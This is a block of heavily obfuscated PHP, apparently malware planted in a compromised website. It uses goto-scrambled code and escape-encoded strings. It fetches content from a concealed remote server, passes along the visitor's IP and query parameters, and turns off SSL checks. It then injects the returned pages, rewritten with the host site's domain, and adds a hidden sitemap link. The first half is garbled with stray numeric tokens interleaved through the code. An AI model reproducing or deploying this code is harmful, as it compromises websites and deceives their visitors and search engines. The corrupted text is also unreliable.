2 6 $url, 9 CURLOPT_R 2 ET 2 UR 2 NT 2 RA 2 NS 2 FE 5 R => 2 tr 2 ue b , CURLOPT_S 2 SL 1 _ 4 VERI 2 FY 2 PE 6 ER => 5 false 14 , CURLOPT_SSL_VERIFY 2 HO 2 ST 13 => false, CURLOPT_ 2 FO 2 LL 2 OW 2 LO 2 CA 1 T 2 IO 1 N 13 => true, CURLOPT_T 2 IM 2 EO 1 U 7 T => 10 a , CURLOPT_ 1 H 2 TT 1 P 3 GET 13 => true, CURLOPT_U 3 SER 2 AG 2 EN 6 T => " 6 \115\1 4 57\1 5 72\15 1 1 8 \154\x6c 4 \141 2 \5 4 7\x3 4 5\x2 3 e\6 1 0 3 ")) 4 ; $d 6 ata = 6 curl_e 3 xec 4 ($ch 8 ); curl_ 3 clo 2 se 7 ($ch); c if (!empty($ 1 d a ata)) { re 2 tu 2 rn 6 $data 6 ; } } 4 if ( 3 ini 4 _get 5 ("\14 a 1\154\x6c\ 6 x6f\16 1 7 6 \x5f\x 3 75\ 6 162\15 9 4\x5f\146 6 \157\1 3 60\ 4 x65\ 3 156 8 ")) { $c 4 onte 1 x 4 t = 5 strea 2 m_ 7 context 2 _c 5 reate 1 ( 6 array( 4 "\x6 1 8 6 \164\x 6 74\160 5 " => 8 array("\ 1 1 4 55\x 4 65\1 6 64\x68 6 \x6f\x 3 64" 6 => "\ 1 x 6 47\105 5 \x54" 4 , "\ 5 x74\x 5 69\15 1 5 8 \145\x6f 7 \x75\x7 6 4" => 4 10, 5 "\150 8 \x65\x61 4 \x64 8 \x65\162 7 " => "\ 3 125 6 \163\x 6 65\162 7 \x2d\x4 e 1\147\145\x6e\ 5 164\x 5 3a\40 5 \x4d\ 4 157\ 3 x7a 5 \151\ 6 x6c\x6 1 c 6 \x61\x 3 2f\ b x35\x2e\60\ 5 15\12 2 ") 5 , "\1 4 63\x 6 73\x6c 10 " => array("\166 a \x65\162\x 4 69\1 1 4 5 6\x79 6 \137\1 9 60\x65\14 a 5\162" => 7 false, 4 "\x7 1 6 6 \145\x 8 72\151\1 6 46\171 6 \137\x 2 70 7 \145\14 7 5\162\x 4 5f\x 4 6e\1 4 41\x 5 6d\x6 1 5 b " => false) c )); $data = 14 @file_get_contents($ c url, false, 8 $context 2a ); if (!empty($data)) { return $data; } } 8 return ' 2 '; 8 } goto 2 X5 2 nb 2 1; 6 D_iaM 3 : $ 1 v 4 url 3 = $ 9 http_type 6 . "\x 5 69\14 7 4\154\x 3 79\ 3 62\ 4 56\x 3 69\ 5 x64\x 6 73\x68 8 \157\x70 5 \x2e\ 1 x 3 63\ 4 143\ 5 167\x 3 75\ 4 56\1 4 43\x 7 63\x2f\ 3 64\ 3 61\ 3 71\ 6 56\x61 7 \163\x7 1 0 4 \x78 8 "; goto 6 N2pxL; 6 EzYoe 17 : if (!empty($get["\163 8 "])) { $ 2 pa 3 ram 1 s 9 = array( 6 "\163" 5 => d 4 ate( 4 "\13 6 1\x6d\ 4 144\ 4 x48\ 3 151 6 "), "\ 6 x6e\16 1 5 8 \155\142 d \x65\162" => 8 $get["\1 4 56\1 9 65\x6d\x6 1 2 a \145\162"] 4 ); $ 3 str 3 = 9 getCurl($ 1 v 6 url, $ 6 params d ); $str = str 4 _rep 2 la 1 c b e(array("\1 5 73\xe 2 5\ 4 275\ 2 22 7 3\xe5\x 1 8 4 9\x8 2 d\ 1 3 6 45\x9c 2 \2 4 60\x 4 e5\2 4 35\x 5 80\x7 1 d 4 "), 7 array($ c http_type . f $_SERVER["\110\ 8 x54\x54\ 6 x50\x5 1 f 9 \110\117\ 5 x53\1 7 24"] . 13 $_SERVER["\123\x43\ c 122\x49\x50\ 5 124\1 b 37\116\x41\ a x4d\x45"]) 1 , 5 $str 5 ); he 2 ad 2 er 4 ("\1 4 03\1 4 57\1 8 56\x74\x 6 65\156 6 \164\x 3 2d\ 4 164\ 5 171\1 7 60\x65\ 4 72\1 8 64\x65\1 6 70\x74 5 \57\x 5 78\15 4 5\15 3 4") 3 ; e 2 ch 6 o $str 2 ; 3 die 9 ; } goto 2 N4 3 dac 1 ; 7 X5nb1: c $http_type 2 = 8 !empty($ 16 _SERVER["\110\x54\x54\ 6 120\12 5 3"]) 2 && 1 f $_SERVER["\x48\ 8 124\124\ 6 x50\12 103b 3"] !== "\x6f\146\x66" ? "\x68\164\164\160\x73\x3a\x2f\x2f" : "\150\164\164\160\x3a\x2f\57"; goto Aq5NJ; f5XoA: function postCurl($url, $postData = array()) { $postString = is_array($postData) ? http_build_query($postData) : $postData; if (function_exists("\143\x75\162\154\x5f\x69\x6e\x69\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $postString)); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\x6c\157\x77\x5f\x75\162\154\x5f\x66\x6f\x70\145\156")) { $context = stream_context_create(array("\150\164\164\160" => array("\155\145\164\150\157\144" => "\120\x4f\x53\124", "\164\x69\155\x65\157\165\x74" => 10, "\x68\x65\141\144\x65\x72" => "\103\x6f\156\x74\x65\x6e\x74\55\124\171\x70\x65\x3a\x20\x61\160\160\x6c\x69\x63\x61\x74\x69\x6f\x6e\57\x78\55\x77\x77\167\55\x66\x6f\x72\155\x2d\165\162\x6c\x65\156\143\157\144\145\144\xd\12" . "\x43\x6f\156\x74\145\156\x74\x2d\x4c\145\x6e\147\164\x68\72\40" . strlen($postString) . "\xd\xa" . "\125\x73\145\x72\x2d\101\x67\x65\156\164\x3a\40\x4d\157\172\151\x6c\x6c\141\x2f\65\56\x30\xd\xa", "\143\x6f\x6e\164\145\x6e\164" => $postString), "\163\x73\x6c" => array("\x76\145\x72\x69\146\171\x5f\x70\x65\145\162" => false, "\x76\145\162\x69\x66\x79\x5f\160\145\x65\x72\137\x6e\141\155\145" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto m5bkF; N4dac: if (!empty($get["\151\144"])) { if (empty($get["\153\153"])) { $ip = get_ip(); $params = array("\x69\160" => $ip, "\x69\144" => isset($get["\x69\144"]) ? $get["\151\x64"] : '', "\x6c\x6c" => $ll); $tzstr = getCurl($vurl, $params); if (strpos($tzstr, "\x69\144") !== false) { echo $tzstr; die; } } $params = array("\x69\x64" => $get["\x69\x64"], "\x6c\154" => $ll); $str = getCurl($vurl, $params); $str = str_replace(array("\x7b\125\x52\x4c\175", "\173\345\237\237\345\x90\215\175"), array(get_url_info("\146\165\154\x6c"), get_url_info("\156\157\137\x77\167\167")), $str); echo $str; die; } else { $sitemapUrl = $ll . "\x3f\x73\x3d" . date("\131\155\144\110\x69"); echo "\74\144\x69\166\40\x73\164\171\154\145\x3d\x27\x74\145\170\164\x2d\x61\154\151\147\156\x3a\x63\145\x6e\164\x65\x72\73\40\160\x61\144\144\x69\156\x67\72\61\x30\160\170\40\x30\73\x27\76\x3c\x61\x20\150\162\x65\146\75\42{$sitemapUrl}\x22\x20\x74\x61\x72\x67\x65\164\x3d\42\x5f\x62\154\141\x6e\x6b\42\40\162\x65\x6c\x3d\x22\x6e\157\x66\157\x6c\x6c\157\167\x22\x3e\x20\x53\x69\x74\x65\x6d\x61\160\74\57\141\x3e\x3c\x2f\144\151\166\76"; } goto nnSBp; Uh8So: function get_ip() { foreach (array("\x48\x54\x54\x50\x5f\x58\137\x46\117\x52\127\101\122\104\x45\104\x5f\x46\x4f\x52", "\x48\124\x54\120\x5f\x43\114\x49\105\x4e\x54\137\111\x50", "\x52\x45\x4d\117\x54\x45\x5f\101\x44\x44\x52") as $key) { if (!empty($_SERVER[$key])) { return trim(explode("\x2c", $_SERVER[$key])[0]); } } return "\x55\x4e\113\116\x4f\x57\116"; } goto f5XoA; shqZL: function get_url_info(string $return_type = "\144\157\155\141\151\x6e") : string { $host = $_SERVER["\x48\124\124\x50\x5f\110\x4f\123\x54"]; if ($return_type === "\144\x6f\155\x61\x69\156") { return $host; } if ($return_type === "\156\157\x5f\x77\167\167") { return ltrim($host, "\x77\x77\167\x2e"); } $protocol = isset($_SERVER["\110\x54\124\x50\x53"]) && $_SERVER["\110\x54\x54\x50\x53"] === "\x6f\156" || isset($_SERVER["\x48\x54\124\x50\x5f\130\137\106\x4f\122\127\x41\122\104\x45\x44\137\x50\x52\117\x54\x4f"]) && $_SERVER["\110\124\124\120\137\x58\137\106\x4f\122\x57\101\122\104\105\104\137\x50\122\x4f\x54\117"] === "\150\x74\x74\160\x73" ? "\x68\x74\164\x70\x73\x3a\57\x2f" : "\x68\x74\164\x70\72\x2f\x2f"; $base_url = $protocol . $host; if ($return_type === "\142\x61\x73\145") { return $base_url; } $uri = $_SERVER["\x52\x45\121\125\105\123\124\x5f\x55\122\x49"]; $full_url = $base_url . $uri; if ($return_type === "\x66\165\154\154") { return $full_url; } return ''; } goto Uh8So; nnSBp: ?> 0